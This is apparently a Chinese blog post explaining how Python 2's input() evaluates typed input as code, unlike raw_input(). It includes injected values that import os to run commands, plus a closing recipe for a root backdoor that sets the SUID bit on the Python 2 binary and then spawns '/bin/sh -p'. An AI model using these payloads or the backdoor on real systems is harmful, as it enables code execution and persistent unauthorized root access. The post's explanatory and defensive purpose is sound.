关于python2.x input函数的安全隐患

今天,一个安全讨论群中有个人发了这么一个链接
Vulnerability in input() function – Python 2.x
文章里有串代码

secret_value = 500

i = input('Guess secret_value:')

if i == secret_value:
    print('you win!')
else:
    print('you lose!')

input输入secret_value结果如下:


这就引起了我的好奇心
然后我就翻到了这篇文章
Python中input()函数漏洞及与raw_input()函数区别

raw_input()会将输入的数据默认当成字符串
input()会自动识别数据类型,并且会将算式进行运算,这也是漏洞产生的原因
而在python3中,python3的input函数已经代替了raw_input函数,默认字符串输出

用以下代码实验一下

c = 'john'
i = input('name:')
print(i)

输入 1+1 和 c,看到结果都做了运算


利用input执行命令
输入__import__('os').system('dir')执行dir命令,成功执行


因此,在python2环境的开发中,应尽量使用raw_input函数来代替input函数

一个简单利用:
假设我们获取了一台服务器的root权限
我们可以用命令 chmod 4777 /usr/bin/python2 为二进制文件赋予特殊权限位(suid)
将 input('getshell:') 写入py文件
接下来切换到普通用户,运行脚本
input出输入 __import__('os').execl('/bin/sh','sh','-p')


可以看到直接弹回一个root权限的shell
不过只是单单作为提权后的维持权限的后门